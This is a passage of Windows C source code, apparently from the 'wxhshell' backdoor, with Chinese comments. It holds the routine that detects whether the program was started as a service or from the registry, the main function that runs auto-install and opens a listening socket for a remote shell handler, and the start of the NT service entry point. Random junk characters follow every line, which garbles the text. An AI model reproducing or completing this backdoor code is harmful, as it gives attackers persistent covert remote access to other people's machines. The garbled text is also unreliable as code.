ULONG InheritedFromUniqueProcessId; bi!4I<E>k
} PROCESS_BASIC_INFORMATION; tZ[BfO
[p@NzS/
PROCNTQSIP NtQueryInformationProcess; 4:cbasy
mU_?}}aK,
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; M@Q=!!tQ(
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6f=/vRAh$
p'k stiB
HANDLE hProcess; ~PvW+UMLk
PROCESS_BASIC_INFORMATION pbi; ,?B.+4CW\E
^iubqtT]
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %R;cXs4r
if(NULL == hInst ) return 0; ]T^m>v)X
2Z@<llsi
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Hi|2z5=V
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <Xy8}Z`s
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); L5yxaF{]
N(&FATZUW
if (!NtQueryInformationProcess) return 0; N l_!%k:
qx{.`AaZW
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [CPZj*|b
if(!hProcess) return 0; }p t5. 'l
8)rv.'A((E
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (Wq9YDD@
joDfvY*[
CloseHandle(hProcess); 6Ep ns s
=[{Pw8['
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); q22cp&gmX
if(hProcess==NULL) return 0; Hh;w\)/%j
+nuv?QB/
HMODULE hMod; 6WfyP@f
char procName[255]; dGIu0\J\$
unsigned long cbNeeded; <zZAVGb4I
(%#d._j>fZ
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *"fg@B5
@+1E|4L1vf
CloseHandle(hProcess); .ET;wK
JIb<>X,
if(strstr(procName,"services")) return 1; // 以服务启动 RMC|(Q<
` N(.10~
return 0; // 注册表启动 8<n8joO0
} #j-,#P@
g#[9O'H
// 主模块 `8FC&%X_
int StartWxhshell(LPSTR lpCmdLine) ]Jnf.3
{ YGWb!|Z$
SOCKET wsl; +1d\ZZA|6&
BOOL val=TRUE; ?qO,=ms>-
int port=0; YfMe69/0I
struct sockaddr_in door; hQL9 Zl~
puqLXDjA/
if(wscfg.ws_autoins) Install(); :VN<,1s9p^
Od&M^;BQ
port=atoi(lpCmdLine); WKah$l
nNhN:?
if(port<=0) port=wscfg.ws_port; Z$zUy|s[
\)M5o
WSADATA data; Z~ ?:r
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; B10p7+NBF
)sV#
b
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; TdKl`"Iy
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h*MR5qa
door.sin_family = AF_INET; "[[fQpe4@
door.sin_addr.s_addr = inet_addr("127.0.0.1"); e982IP
door.sin_port = htons(port); nrt0[E-&~
l42m81x"
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { yFpHRfF}
closesocket(wsl); w|L~+
return 1; !'{j"tv
} rB4#}+Uq
.qK=lHxT
if(listen(wsl,2) == INVALID_SOCKET) { ?>%u[g
closesocket(wsl); k5/nAaiVE
return 1; %+I(S`}
} k2t?e:)3zr
Wxhshell(wsl); w:Lu
WSACleanup(); _23sIUN c3
;*Rajq
return 0; NWAF4i&$
Xx'>5d>
} y5Pw*?kn
gE
,j\M*
// 以NT服务方式启动 h5f>'lz
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) a^=4'.ok
{ l4/TJ%`MG
DWORD status = 0; `|/|ej]$P
DWORD specificError = 0xfffffff; ESomw
BPG)m,/b
serviceStatus.dwServiceType = SERVICE_WIN32; b8]oI"&G